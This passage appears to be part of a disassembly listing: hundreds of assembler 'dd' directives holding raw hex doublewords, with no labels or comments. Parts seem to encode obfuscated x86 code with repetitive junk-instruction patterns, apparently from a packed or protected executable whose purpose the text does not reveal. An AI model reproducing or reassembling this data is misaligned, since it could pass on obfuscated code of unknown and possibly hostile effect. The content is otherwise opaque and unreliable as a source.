		dd 733E0844h, 0B1B7089Ah, 0C77CFEFAh, 7CFCCB63h, 41C39E30h
		dd 15F361F9h, 0D622A2D9h, 69EDC83Eh, 411F8D25h,	0B8D94088h
		dd 1DCA8FBh, 0B59D87Dh,	0E37B0573h, 9CC49775h, 5EF03CBCh
		dd 0BB5883A8h, 0C6A45BF6h, 87D3538Ah, 5D46AAEFh, 63BCF7B8h
		dd 91DD5D3Bh, 0C12C7DFFh, 39F7B85Dh, 1F69EAD5h,	4ECE0541h
		dd 6A5DF2C6h, 77019715h, 60AA9ADFh, 0A85F0847h,	0CC189880h
		dd 0E531B1E8h, 76D29D53h, 989B0910h, 6846D014h,	724B1678h
		dd 835EE0h, 0EC4BF07Eh,	0B9431BD7h, 45AC7721h, 409BC81Ah
		dd 0C11FD8B6h, 27F19093h, 4A15DFC3h, 4E8EDF71h,	8AEF68B9h
		dd 27498E26h, 1BE36879h, 6AC61A42h, 0DF6837E7h,	319h, 0E2C3FD80h
		dd 0F6AC3E17h, 0A1F2A50Eh, 7AD6A94Ah, 0D2844AAEh, 7E684603h
		dd 0FE561F2Dh, 23B5197Ch, 0E880C448h, 8DF1DD3Eh, 55DFCC29h
		dd 5D547577h, 44FDF0A0h, 0BD0EA079h, 0FBC998A7h, 63C55DC1h
		dd 274D8398h, 83FF497Fh, 0DEA4F676h, 66F068B8h,	0F67752D4h
		dd 0C8A614ACh, 0A2B9800Fh, 0D264C8F1h, 992B77F7h, 47A7C617h
		dd 6FD3E95Ch, 9E1E5591h, 8F276FF1h, 0D45E1EE5h,	0F9837B17h
		dd 0D88F6633h, 0C44EB05Ah, 0AEDDF420h, 3A95658Fh, 562h
		dd 9D81D350h, 0B99DE366h, 0D0B40482h, 0EBCF1799h, 3E735B4h
		dd 0A3225F4Eh, 0B63A7155h, 0D6578E72h, 0F171A88Ch, 7BC9C1A5h
		dd 0F836C32Ah, 0C364377Ch, 0A33412C8h, 0F94D89A8h, 0A17A451Bh
		dd 1AAABE0Fh, 0FED97CFEh, 5D523080h, 10EB61F9h,	4E7C4292h
		dd 0A8AF7ECFh, 0BE3E815Fh, 62E68F11h, 720A941Eh, 0FF769EEFh
		dd 78C95B34h, 7AD6FB70h, 9402488h, 0D6A53D89h, 0F3720A56h
		dd 1696729Ah, 8A0E669h,	0E56FB739h, 6CC8775Bh, 0E1F5A65Fh
		dd 1F9h, 3811DC82h, 2BAD55A6h, 43A77CF8h, 957D6B1h, 216FEE25h
		dd 0D5D24489h, 88088307h, 9286983Ch, 17E70253h,	4A9BCh
		dd 0C81A9700h, 0E42AADE4h, 0FB4BC900h, 165EE017h, 2E7CFB32h
		dd 6B18954Ah, 83BA9EECh, 0A0D7BBFFh, 0BAF1D51Fh, 120AEE3Ah
		dd 367873C4h, 0AD807CF8h, 6DEDC80Ch, 3D1B8921h,	31C39C67h
		dd 0F82B36E0h, 36CE327Ch, 99BE767h, 2A373687h, 0DF437CF8h
		dd 482676F4h, 60782E0Ch, 2A205C3Dh, 4AFEDE1Ch, 0D2FF2684h
		dd 0E531B1F4h, 0ADF77853h, 0D9C9A715h, 0A63E8A0Ah, 0C2A6CE27h
		dd 6312F642h, 0FBC7DE07h, 14C7Ch, 12C81D00h, 88E779F3h
		dd 599C7A15h, 26F58DD9h, 0BEBF1EA6h, 9569E333h,	9349270Bh
		dd 0B39CA422h, 0B38967CAh, 2C7D0FE8h, 7CFE878Ch, 0B3F890F4h
		dd 7CFE81BCh, 2B85AD86h, 0FBCE1FCFh, 4044h, 11DCE500h
		dd 0D755A638h, 0A17CFEF1h, 52D0AB3Dh, 0EF342402h, 7CFEF0F8h
		dd 40C1E9C2h, 0F6C4C68Ah, 3E1C19ECh, 0CE3D2783h, 0A89CFBh
		dd 0A82A0000h, 0FED21457h, 6E00647Ch, 0FED2CE1Dh, 0E8C62A7Ch
		dd 1012C811h, 0DB27A753h, 0EE0FD543h, 0FB3E1CB1h, 0C8972F7Bh
		dd 9463FB49h, 6130C814h, 4B195E1h, 7AD6EA23h, 492D79F9h
		dd 4207B56Bh, 44225A35h, 0ECC59066h, 0C62D095Ah, 0EB4F7CFCh
		dd 6786D759h, 457CFDC1h, 7BDF7CC2h, 59D8B39Dh, 71F0270Bh
		dd 0E7A97F23h, 8D8024Fh, 349ADh, 68BA3700h, 84CA4D84h
		dd 9BEB69A0h, 0B6FE80B7h, 0CE1C9BD2h, 0B7835EAh, 235A3E8Ch
		dd 40775B9Fh, 5A9175BFh, 0B2AA8EDAh, 30D81364h,	4D207CF8h
		dd 0A2F06FACh, 0BB0787BEh, 12C80CD7h, 3E2BC88Fh, 4B8E6CFDh
		dd 18E77FCBh, 9E684C98h, 1768FAD3h, 7CFEB4D9h, 0DE23BB1Fh
		dd 7CFEB889h, 0F76E96EFh, 70C1532Ch, 7AD6BF70h,	0E535B378h
		dd 7155DF4Dh, 0A3EF6FA6h, 70BC3C0Bh, 1EF7C28Ch,	0E47D3B8Ch
		dd 9F037CFEh, 0E4AFC207h, 0BC957CFEh, 82E03C94h, 3D55FBCEh
		dd 0F6000000h, 0F6F546C8h, 27AD6E5h, 1FEAC09Eh,	0C963B446h
		dd 0AF7CFEF1h, 7B6EB34Bh, 317CFEF0h, 5DF128B2h,	629EB465h
		dd 0EF7140D8h, 37900FA7h, 0D6AF8A0Fh, 82F652AEh, 0D56BFBCDh
		dd 0C000000h, 0BA3EF6Fh, 99FDDF95h, 26CD0C6Fh, 38860548h
		dd 551D1A0h, 0D21E9E6Dh, 3D8E10EEh, 7AD6412Eh, 4F08E64Ah
		dd 7AD645D6h, 0A3CA1B9Dh, 0D77AD64Ch, 0AF479112h, 96D9B741h
		dd 0AFE6CA16h, 0E94BE32Fh, 62B3451Eh, 7CFE625Ah, 0CD6BA1Eh
		dd 0B0A32C41h, 2608A89Bh, 948AD2D2h, 70FA8421h,	0C29F8DDEh
		dd 75D97AD4h, 0D98A08E3h, 0EF871155h, 0DEB9A381h, 0B5B8095Fh
		dd 0C57685C2h, 6A45D761h, 9A08A0E8h, 0CA4980BCh, 0EA5AD87Ch
		dd 6B3B0877h, 1E510h, 456D300h,	2066E920h, 3787053Ch, 529A1C53h
		dd 6AB8376Eh, 0A7DCD186h, 0BFF6DA28h, 0DC13F73Bh, 0F62D115Bh
		dd 4E462A76h, 33BCAF00h, 0E9BC7CF8h, 0F546C848h, 7AD6E5F6h
		dd 7DC09E02h, 95CCB0FEh, 1AE5C915h, 246AEDC8h
		dd 0CCA57046h, 8FFE843Ah, 6D17B9EEh, 0D854A58Fh, 0A07CFE0Fh
		dd 85FA43Ch, 327CFFF6h,	83DF3159h, 0F8FBCD6Ch, 0DBh, 0A3EF6F99h
		dd 67BD3C0Bh, 62C3098Ch, 7AD6E50Bh, 0E9810B6Fh,	0D6E183A4h
		dd 0CD19997Ah, 0E632B2E9h, 0AFF77954h, 0B47FE1D1h, 45C749DBh
		dd 0D6E1F9F4h, 0BF9D017Ah, 0FECFB606h, 7A5EC27Ch, 0F343C19Ch
		dd 9B743F15h, 5DAB2E09h, 0FED7E10Ch, 2BB5197Ch,	0B912634Dh
		dd 0C87AD475h, 754B4512h, 7351BCA7h, 6881A7Eh, 84A2B6B5h
		dd 717CCD76h, 897684A2h, 46248825h, 0B402815Ch,	0CC1A99D0h
		dd 770B1428h, 6AC59508h, 0EEh, 290D5FDCh, 45296FF2h, 5C40900Eh
		dd 775BA325h, 8F73C140h, 2FAED3DAh, 42C6FDE1h, 62E31AFEh
		dd 7DFD3418h, 7554D31h,	0F832B7B6h, 4FF0C37Ch, 226CEDC8h
		dd 0F03ABB8Ah, 9A60EA58h, 0DD401B8Ch, 347755CAh, 0A58367B5h
		dd 690147CAh, 5ADA1DFBh, 6F5F2A0Eh, 3C0BA3EFh, 0C28C70BCh
		dd 3B8C1EF7h, 7CF82B8Fh, 0C6952D91h, 8D68FA46h,	64BE880Ah
		dd 7A620E2Eh, 0CEA58F0h, 0CD1999D0h, 0F466F035h, 0C69222DEh
		dd 0BB600310h, 39CBE7DDh, 82D985E8h, 0B391F51Eh, 4E29B8E0h
		dd 63A684CCh, 7CB397E3h, 86CC4FFCh, 5EF680EEh, 0E2640D8Fh
		dd 998BA15Eh, 8E1813EEh, 18977204h, 79FCECCAh, 2F3E8F11h
		dd 4B1E8295h, 0E3609E7h, 0DB29A883h, 90286CF0h,	81014422h
		dd 98735135h, 0ADF0CE16h, 0D349E12Dh, 922A7AF8h, 3774624h
		dd 0D2000000h, 0F26FB56Ch, 0B93908A0h, 8506D56Dh, 50D4A33Bh
		dd 26A5740Ch, 0F27140D8h, 0BB3D0CA4h, 8E0CDB73h, 54D7A63Eh
		dd 52ED760Eh, 0C281E289h, 4, 4BD55h, 0EA290000h, 2414875Dh
		dd 6D6C685Ch, 14890000h, 5E186824h, 3C890000h, 31B85024h
		dd 89062ECFh, 24048BC2h, 4C481h, 0EC830000h, 24248904h
		dd 4240483h, 4EC815Fh, 89000000h, 478F2414h, 243C8B08h
		dd 5E08950h, 4,	405h, 24048700h, 24148B5Ch, 81E28952h
		dd 4C2h, 4C28100h, 87000000h, 0E95C2414h, 0FFFA6BBEh, 0A6B82EE2h
		dd 3062ED8h, 0DE0FFC5h,	2267F71Dh, 20447862h, 8030C07Fh
		dd 0B573ED19h, 784B760Ch, 0E86F8440h, 0Ah, 0EB2234Dh, 0D632717Fh
		dd 820F34DAh, 6, 3E1DE981h, 805814ADh, 0C08195CEh, 68C2h
		dd 3FE18166h, 66F63378h, 0FFF3BCB9h, 0CA8B0634h, 0D7BF0F5Fh
		dd 126DC781h, 81FC6010h, 2286E6EFh, 0AE979h, 9670000h
		dd 8DCECA12h, 0AD062F26h, 6F44EF81h, 880F1958h,	11h, 0CE9h
		dd 0AC7D8200h, 8BA51BB3h, 69A1B392h, 303C89A1h,	850FF860h
		dd 3, 6144EF80h, 0EE8369B3h, 0FE801h, 74400000h, 0C318E629h
		dd 0CDFCE8C9h, 7DD83695h, 0D98B66BAh, 4E4E4E59h, 81DEB70Fh
		dd 0FF97E8FEh, 80850FFFh, 0FFFFFFFh, 8D8DD3B7h,	62EDAA2h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 14h, 17C35141h
		dd 7158D89h, 858B0628h,	6282705h, 21BD85C7h, 64C00628h
		dd 81660000h, 0C766E2CFh, 28113D85h, 6,	53006A00h, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1504h, 0C3534300h
		dd 0B5FF3CC2h, 62801BDh, 921B509h, 95FF0628h, 62814D9h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ah, 0B7C35747h
		dd 99CB126h, 880F1549h,	4, 3665B866h, 95FF006Ah, 6280465h
		dd 38EBC08Bh, 97F9609h,	7729371Ah, 0AFD77ED7h, 8C83941Eh
		dd 3C6822C5h, 25F8893Bh, 0CC00EA98h, 0BCAD817Bh, 0A336AEF9h
		dd 9B985C03h, 1303A81Eh, 5DDB8526h, 3953C55Fh, 0C4165A41h
		dd 0DE8h, 0CECC0500h, 0DF2183Fh, 0F64A5071h, 0DE9531Dh
		dd 0B5000000h, 0B2EEC460h, 0F404BEBh, 0EB1C8CECh, 10E85Fh
		dd 7F3F0000h, 0BB1B1978h, 21556E8Fh, 0BA6E5AA9h, 8D894BC8h
		dd 62802B1h, 0CDC7815Eh, 80000060h, 0C933ACD2h,	6C9B58Bh
		dd 48B0628h, 0D08B660Fh, 0A964C081h, 958B0B1Ah,	6280755h
		dd 29CCC081h, 0B70F5244h, 9FC081D7h, 5134E082h,	0B6DA8166h
		dd 4895E87h, 1E860F0Fh,	0E8000000h, 0Bh, 0DB54BFDCh, 6829AE22h
		dd 0E8EF108Dh, 7, 0D9A1C3F0h, 5B08F255h, 0B87CBA5Bh, 0E981728Bh
		dd 0F793491h, 4258D89h,	0C1810628h, 0F79348Dh, 9FF4F981h
		dd 850FFFFFh, 0FFFFFF8Eh, 19F59D8Bh, 29E90628h,	0C0000000h
		dd 2B9D76h, 9 dup(0)
		dd 4F8E9h, 0DCDD6800h, 0F6E9062Eh, 68FFF9A3h, 62EDD5Ch
		dd 0F9A3ECE9h, 0DEA468FFh, 0E2E9062Eh, 0E6FFF9A3h, 9EA21F15h
		dd 5155D2D0h, 2068385h,	0B9BD3A30h, 6E71EEECh, 604D120h
		dd 0BCB68589h, 6E703B3Fh, 231DEDF1h, 8AF080A6h,	795D4852h
		dd 0E09E13E6h, 2F01513h, 0E90E10DCh, 0C7976D01h, 0EC1250CDh
		dd 61B71D1Dh, 137F7393h, 9557EB51h, 0CF35A1C2h,	755B805Ch
		dd 7C43A6CAh, 0B9A93D57h, 693BC925h, 34664E73h,	5B436866h
		dd 38DCD0F5h, 83795B58h, 7207843Dh, 44C159FAh, 32Fh, 0C84E571h
		dd 4AB01C39h, 755B8673h, 0B7C8ADD1h, 0B7FF61E0h, 6D39C723h
		dd 2C5E466Bh, 71FD635Dh, 985C2B51h, 8C03916Bh, 0F71C8220h
		dd 2A657B0Fh, 0E6643037h, 2086F213h, 76D664C9h,	24C4E9ABh
		dd 0D09A6851h, 7BA00600h, 5BC12D93h, 7CEEB8E2h,	0ACD23E00h
		dd 6165E2DCh, 6299791h,	0D2B78D65h, 35240F7h, 32030000h
		dd 0EDBBBF3Ch, 0A26E72EFh, 4D1F23A0h, 9D6DA57h,	0DF8B8E0Bh
		dd 0A62321EEh, 5CD9D3A2h, 0E8B8D58h, 0C3403A0Ah, 71A70D9Dh
		dd 3795D4Fh, 21F4BB30h,	66C6A38h, 0C43C769Ah, 901CDAEEh
		dd 2D3D1A31h, 0AB3FA5C6h, 4AB1359Bh, 21E37522h,	5F2F55B5h
		dd 2EFBD165h, 0D29EC430h, 171B3CD0h, 80E04C4Ah,	5C0AC21Ah
		dd 20B47679h, 0AAE6357h, 7A4A795Ch, 0D7251280h,	0D6B1BE7Ch
		dd 2D31Fh, 0BDB38400h, 706E3C40h, 2123EFF3h, 0D8CEA0A4h
		dd 8C8A575Bh, 6F5E0C0Fh, 2327A4A2h, 0D9DD5A54h,	8B8F0C0Eh
		dd 1E44C1BBh, 4EF0288Eh, 0B184795Dh, 3A21F43Ch,	31FBF2C7h
		dd 3BA70D45h, 22B251D5h, 0CBF78375h, 0FBC86101h, 5FC71242h
		dd 6B1A93DBh, 92F2E005h, 5CEBEC2Ch, 2FFA8879h, 1D33C72Dh
		dd 795CEBFBh, 48C57EC4h, 0C160A331h, 6F6D3B61h,	5E30624Ah
		dd 0D0E8D468h, 15000001h, 0F11610E0h, 450FDD03h, 7D117779h
		dd 60DDD7A7h, 0C789D70h, 5B92BBA6h, 612FBD75h, 0E4D8FD63h
		dd 795B9230h, 440F358Bh, 0A1351D42h, 0E6BE8A1h,	0A8C1592Ch
		dd 2Eh,	0A205DC00h, 0B974C131h,	21F4EA25h, 12389804h, 9CB24644h
		dd 755BBE3Dh, 5C507537h, 795B86B8h, 8704BD03h, 0C15943F2h
		dd 0C7C4h, 10E0F100h, 2218EA10h, 75A315FDh, 0FF7F7393h
		dd 83A8A271h, 0AACF359Bh, 62B29F6h, 63888252h, 68E5DFAFh
		dd 738ECE24h, 0CCF27Fh,	0C4946AFEh, 68385ECAh, 0CD61496Eh
		dd 0CCE9BCACh, 356DFA60h, 0CD8F755Dh, 7D9B0161h, 0F7795934h
		dd 98208C6Bh, 0B61CB01Ch, 1FEC1222h, 0D3A0A421h, 0A27067D5h
		dd 21FCBE79h, 18B6Ah, 756B3C00h, 2826F4F8h, 0D9DBA7ABh
		dd 9086585Ch, 44420F13h, 2796C4C7h, 0DBDF5C5Ah,	9195120Ch
		dd 4347C4C6h, 0D6FC7973h, 4D38E046h, 693C795Dh,	6482A6F4h
		dd 57391E93h, 21877D4Fh, 960B8AF1h, 47DBB359h, 0CDAA471h
		dd 9B01E90Eh, 504A1A1Eh, 0F1F3BEE4h, 2F50E4CCh,	0FECBF1h
		dd 245FF3DBh, 38E046A6h, 3C7F7393h, 4010E67Ah, 74B6C07Ch
		dd 9D85AAA4h, 0C8D76A6Dh, 67CDC796h, 5E2E5442h,	0EB573F64h
		dd 730E5785h, 8B1FE17Fh, 7FE5E5B5h, 7F730E59h, 47B319DBh
		dd 3F6F8523h, 599743Dh,	3A21F4E4h, 8BBA1708h, 84D101C1h
		dd 0A6769C9Fh, 0E20874DAh, 5F31812h, 7367799Fh,	0D339FB7Fh
		dd 0ABCF2F3Fh, 3501F7D1h, 0D2680333h, 363C52E6h, 2E755BFCh
		dd 40A0006Ch, 5A9B02DAh, 0E0743679h, 0C23F3D0Ah, 5A9B5A7Eh
		dd 0D0946479h, 7453409Bh, 67E44A80h, 73989663h,	91935F85h
		dd 8A24FDh, 0F42B0000h,	38980421h, 63B15314h, 0EF83AE8Bh
		dd 224169D9h, 5377D775h, 0C9DEF046h, 3D94B27h, 35795CE6h
		dd 0C183DF73h, 5218E89Ch, 0F0F2BD83h, 8A8C588Ah, 9A177D65h
		dd 0A7CCC696h, 894E78B3h, 49027A94h, 7CF9F3C3h,	89AEA878h
		dd 0E80D03D5h, 8752781Ch, 46786085h, 6C54797Bh,	5F1FD8D8h
		dd 4C716739h, 67653264h, 0F0C65A42h, 0A5A92620h, 496FDBD5h
		dd 725A7F79h, 0D5E15DEh, 90000000h, 9E12CA30h, 64264C90h
		dd 3A8795D0h, 0F4190FE0h, 51767040h, 0ABD0D29Dh, 92E28F7h
		dd 658A8855h, 0C1E6E4B1h, 20453B0Dh, 799EA06Ch,	0D4F9F7C5h
		dd 0E18951FFh, 4C181h, 0E9830000h, 74FF5104h, 8F590424h
		dd 525C2404h, 0C281E289h, 4, 8704EA83h,	895C2414h, 93682414h
		dd 89000036h, 1B682404h, 89000007h, 2CBE2434h, 813F543Dh
		dd 256132EEh, 5EF28939h, 24048B54h, 5704C483h, 7889D789h
		dd 243C8B08h, 0FF04C483h, 83582434h, 148B04C4h,	0E2895224h
		dd 4C281h, 0C2810000h, 4, 5C241487h, 0F99F0CE9h, 48F7ADFFh
		dd 0E054B84Fh, 0C503062Eh, 48D5E0FFh, 40D81F4Eh, 13D25F35h
		dd 0D6B90A6Ah, 97537F7Bh, 0FFAD1466h, 0C6E642F9h, 2F043F62h
		dd 965357B1h, 9CCE46F0h, 97741409h, 1A0F42D2h, 0D6D0194Eh
		dd 0A20B0BBEh, 344E2520h, 2E4D6C80h, 8E8E47D8h,	95B60343h
		dd 89122863h, 0AE8176E4h, 0FAE63210h, 4B602A64h, 96CF1D63h
		dd 8D8D4A9Dh, 62EE23Fh,	0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 1Ch, 11C35242h, 0E0BC3EC2h, 4F006314h, 33618D89h
		dd 0BD8B0628h, 6281945h, 7158D89h, 6A0628h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 170424h, 57470000h, 0E7BD44C3h
		dd 0C75A563Eh, 2821BD85h, 61E006h, 52006A00h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1D04h,	0C3524200h, 778E1C41h
		dd 0E4293222h, 0BD0134B5h, 6281F75h, 113D85C7h,	628h, 6A0000h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h, 51410000h
		dd 0A161E2C3h, 0F81D8DCFh, 0E0815599h, 17059FC0h, 2369BD8Bh
		dd 29600628h, 283401BDh, 61958906h, 61062802h, 2EC9B5FFh
		dd 800F0628h, 6, 31DD9D8Bh, 95FF0628h, 62814D9h, 0F3816660h
		dd 0EF81FB18h, 355BAC6Ch, 0FF006A61h, 28046595h, 0EBC08B06h
		dd 0ACBFA45Fh, 0BFDA2375h, 68685E42h, 0C368EFC2h, 3602CC19h
		dd 0F7692F6Fh, 0DE6CABE4h, 0E76A7EA0h, 7D3501D5h, 6DA78135h
		dd 344C1DF9h, 0F0BEC122h, 3408579Fh, 0E816967Eh, 1EA98DA3h
		dd 6A63366Eh, 0E3BAAB6Ah, 0F6BECF7Ch, 33D37869h, 137B5622h
		dd 0B69FB7Eh, 9FEF4FB1h, 46CF145Ch, 0D3F0A2D4h,	0E3268D8Dh
		dd 6A062Eh, 3E850h, 58200000h, 448958C3h, 44810424h, 170424h
		dd 50400000h, 7D6B0AC3h, 0FBB70F5Bh, 6B19D8Bh, 8D890628h
		dd 6280715h, 33CDBD01h,	0BF0F0628h, 0BD85C7F7h,	60062821h
		dd 0F00005Fh, 85C7F3BFh, 628113Dh, 0
		dd 5E9h, 186C6D00h, 0B5FF3599h,	62826C9h, 7E9h,	99884900h
		dd 55C34485h, 14D995FFh, 95890628h, 6282B35h, 95FF006Ah
		dd 6280465h, 5BEBC08Bh,	64AD3967h, 571484FFh, 0FD0D3A7h
		dd 6605AAFCh, 1D80F83Eh, 45E2C20Dh, 0A33CB076h,	4A4B0581h
		dd 8A6E6AFFh, 4787CF3Bh, 0DA006866h, 2C25843Eh,	3AF23F28h
		dd 0ABD8E416h, 0B3F897D0h, 73DF7D07h, 1EA544E7h, 0C8310D32h
		dd 0E33F9F08h, 0FA6BF9F3h, 0C8D35F3Bh, 0CF1CD0EAh, 0E897E1DEh
		dd 9, 0F440122h, 812F3720h, 0EE95F19h, 1D000000h, 33235CDCh
		dd 0C67886F2h, 0BE066E6Eh, 37C7816Fh, 0F00006Eh, 282h
		dd 0B8D78B00h, 1B66h, 92C943BBh, 660F8B7Eh, 0C181F08Bh
		dd 1776D4E9h, 58531h, 0F1810628h, 1D0984D0h, 0F181CBB7h
		dd 2A05EC45h, 51DFBF0Fh, 0B500BE66h, 0B533078Fh, 6280249h
		dd 8B04EF83h, 282D3195h, 1E88306h, 12850Fh, 0B70F0000h
		dd 25E9F1h, 0B8AD0000h,	2D0D02Eh, 56A97512h, 225DB58Bh
		dd 0A2E90628h, 4AFFFFFFh, 5ECF9CCFh, 1A9559D3h,	5A756D6Bh
		dd 0E8466DE2h, 9, 3B4E1176h, 0D6E2CD43h, 5858B0Ah, 5906280Fh
		dd 8E9h, 0E528C200h, 53441502h,	6CC1810Eh, 8900006Ah, 280669BDh
		dd 8BDB3306h, 28181585h, 19148B06h, 14E9h, 0F5CAA300h
		dd 73BDB822h, 9F48275Dh, 3864987Fh, 0DF407B2Dh,	32C2815Ch
		dd 0F5CFE90h, 0EA81C0BFh, 3F0D2FA0h, 870Fh, 0C2810000h
		dd 5C5C5B42h, 1E6DBD8Bh, 14890628h, 0E1858919h,	33062819h
		dd 2816A585h, 3EB8306h,	195DBD89h, 294B0628h, 282D3D9Dh
		dd 4CFB8106h, 0FFFFF96h, 1485h,	3CB86600h, 1AE977h, 98CF0000h
		dd 0D88F5594h, 2F78D56Ch, 0FF7FE918h, 0BBDFFFFFh, 6FB2AA33h
		dd 5673206Bh, 0E5638D8Dh, 0DA8B062Eh, 2619D8Bh,	8D890628h
		dd 6280715h, 6810Fh, 9D330000h,	6281681h, 21BD85C7h, 599C0628h
		dd 0BA660000h, 85C78CA4h, 628113Dh, 0
		dd 5A5E5351h, 0C880Fh, 8A0F0000h, 6, 870Fh, 0B5FF0000h
		dd 6281E85h, 31E1BD09h,	8E0F0628h, 1, 0D995FFFCh, 89062814h
		dd 282D3195h, 0FF006A06h, 28046595h, 0EBC08B06h, 0FF4651Bh
		dd 1147D850h, 45DFBF8Dh, 1B37ACE1h, 0C0897329h,	179FB02Fh
		dd 5DC21660h, 0E65C8D8Dh, 6A062Eh, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 150424h, 57470000h, 0E97564C3h, 0Dh, 0A05E0AD0h
		dd 84B738FEh, 0CA49948Ch, 158D89D3h, 6A062807h,	3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 19042444h, 43000000h
		dd 3A5AC353h, 0E137422Eh, 12A59589h, 85C70628h,	62821BDh
		dd 5884h, 85C7C38Bh, 628113Dh, 0
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 2CC35242h
		dd 0F6A37B46h, 894F7A44h, 280015BDh, 0A9B5FF06h, 81062822h
		dd 0FC0BAFC6h, 0D995FF09h, 6A062814h, 3E85600h,	20000000h
		dd 895EC35Eh, 81042474h, 17042444h, 46000000h, 0D684C356h
		dd 6A1774h, 46595FFh, 0C08B0628h, 0CC1139EBh, 0F24F9EBAh
		dd 0D05CBBAAh, 44EDF1BEh, 0E871B5EBh, 6DB31E34h, 1648A8EDh
		dd 0F9E22E1Ah, 48B38B64h, 0DD93BABBh, 95DE9B58h, 0FA5E8479h
		dd 0F531F0B0h, 8C8866E7h, 8D6B5058h, 2EE7BA8Dh,	57006A06h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1504h, 0C3574700h
		dd 858B8C27h, 6282EE5h,	2BB9BD89h, 12E80628h, 66000000h
		dd 468421F6h, 0F0404683h, 48013E21h, 88C57229h,	0C59D8BA5h
		dd 5806282Ch, 7158D89h,	6A0628h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 190424h, 52420000h, 119E84C3h, 0E9E8BB26h
		dd 0Dh,	0AB744A3Eh, 0F025605Ch,	0E162EF1Ch, 0BD85C773h
		dd 7C062821h, 6A00006Fh, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1C042444h, 40000000h, 0A9CDC350h,	0E4C3855Eh
		dd 0E992A877h, 0Dh, 10498AE4h, 0AE72C8ABh, 1F5C18F9h, 3D85C7D2h
		dd 62811h, 8B000000h, 2802A5BDh, 0E1B5FF06h, 6A062805h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 19042444h
		dd 40000000h, 0E0AFC350h, 0B7B84CC1h, 9E9h, 3BF9A300h
		dd 77D31C14h, 12B36651h, 14D995FFh, 95890628h, 6282149h
		dd 95FF006Ah, 6280465h,	0CEBC08Bh, 0D574DC35h, 0D8DD1330h
		dd 1C5E4E4Ah, 5E8h, 86335700h, 9D015C1Fh, 6280745h, 81F38A59h
		dd 6F0EC1h, 3C02B00h, 280795BDh, 834FF06h, 0FD45BA66h
		dd 0BCEBE5Bh, 0EB811A8Ch, 6F254EFFh, 81F2BF0Fh,	0B96EB8F3h
		dd 81F88B31h, 0C21170C3h, 6E914h, 0F1880000h, 8C0C4637h
		dd 6D8D0953h, 8F062803h, 0F88B0104h, 1FA59589h,	0E8810628h
		dd 4757D2F5h, 1E7D9529h, 0C0810628h, 4757D2F1h,	13E8h
		dd 44066400h, 17DA98Ah,	3E4D7E0Dh, 4FC20815h, 4F80BA76h
		dd 5ED78B66h, 91B4F881h, 850FFFFFh, 1Ch, 7E8h, 0A438C500h
		dd 6F49F3B3h, 36D305BFh, 18E95F65h, 0A0000000h,	0D6D79F70h
		dd 1709BD8Bh, 5EE90628h, 9FFFFFFFh, 0A6BA9A0h, 8D0335E7h
		dd 2EE93C8Dh, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1604h, 0C3514100h, 0E96E292Ch, 0Bh, 0C6AEC941h, 93BCBFB4h
		dd 896E3DFFh, 2807158Dh, 959D3106h, 0C7062834h,	2821BD85h
		dd 620806h, 3D85C700h, 62811h, 6A000000h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 19042444h, 46000000h, 29B0C356h
		dd 0B559B3CAh, 1819B5FFh, 13E90628h, 5A000000h,	0F91E7A8Dh
		dd 53E14228h, 744705D5h, 0F815AE16h, 95FFB621h,	62814D9h
		dd 1751B589h, 6A0628h, 46595FFh, 0C08B0628h, 0A81F28EBh
		dd 9325558Ah, 83B7CDB6h, 46A57C41h, 9190C682h, 0DB84E4B2h
		dd 0CEEB6B2h, 7453DB4h,	2ACE512Fh, 2ABA40B0h, 0EE8C264h
		dd 71000000h, 8E8C9684h, 83A40867h, 0A88DF01Ch,	800F60E8h
		dd 6, 1F79B533h, 8F0F0628h, 3, 61B7E280h, 99952358h, 81062833h
		dd 7560C0h, 0F59D2900h,	2B062819h, 319D89F6h, 8B062826h
		dd 9D89300Ch, 62824E5h,	95A2E981h, 0B2B62BBFh, 69B6C181h
		dd 81F927FAh, 0D0851EF1h, 6800F3Ah, 29000000h, 2820F19Dh
		dd 8D895106h, 62822D9h,	6630048Fh, 13E9D08Bh, 4F000000h
		dd 2FD68162h, 0FEB068F6h, 3682FC8h, 0F489DF53h,	0EE83C3B3h
		dd 8B4EF903h, 281339BDh, 78FE8106h, 0FFFFF8Bh, 1F85h, 0BE900h
		dd 0D0920000h, 600A0A54h, 0FAA4D1C3h, 21E99Eh, 0CE7F0000h
		dd 0FC178BE8h, 0BB4ABF12h, 2A8D9D0Bh, 70E90628h, 0DFFFFFFFh
		dd 0D107B5Dh, 3CDD0F97h, 0E84D70DEh, 0Ah, 0C29642C7h, 0FD72F1DDh
		dd 0BF0F5B6Eh, 0D9805BCAh, 0ECC3810Dh, 0F00006Bh, 0FF2BD1B7h
		dd 26258531h, 34FF0628h, 21C9811Fh, 5E0E7083h, 11E9h, 2FCEBC00h
		dd 2B1141Eh, 0FA455EE9h, 67FD1555h, 0F68193B1h,	3FAE81Ah
		dd 0F81B589h, 0C6810628h, 1ADBDE99h, 81C1B70Fh,	2FE387C6h
		dd 0F9CC8064h, 893B3489h, 2819F59Dh, 0BE806h, 0CEE0000h
		dd 7453DB4h, 2ACE512Fh,	5879B1B0h, 8B04EF83h, 0A0FF81C7h
		dd 0FFFFF94h, 0FFFF9585h, 0CFBF0FFFh, 10E8h, 0D5BFE300h
		dd 7A12949h, 0A1FF670Bh, 994D9BFDh, 45858B50h, 5B062825h
		dd 13BDECB8h, 33C38162h, 60000066h, 0B70FCA8Bh,	676861C3h
		dd 8B000019h, 28185D8Dh, 0BD095A06h, 6280C19h, 852B3B8Bh
		dd 6282D09h, 0E6D4C781h, 810F4AADh, 5, 0EDF08166h, 39F78180h
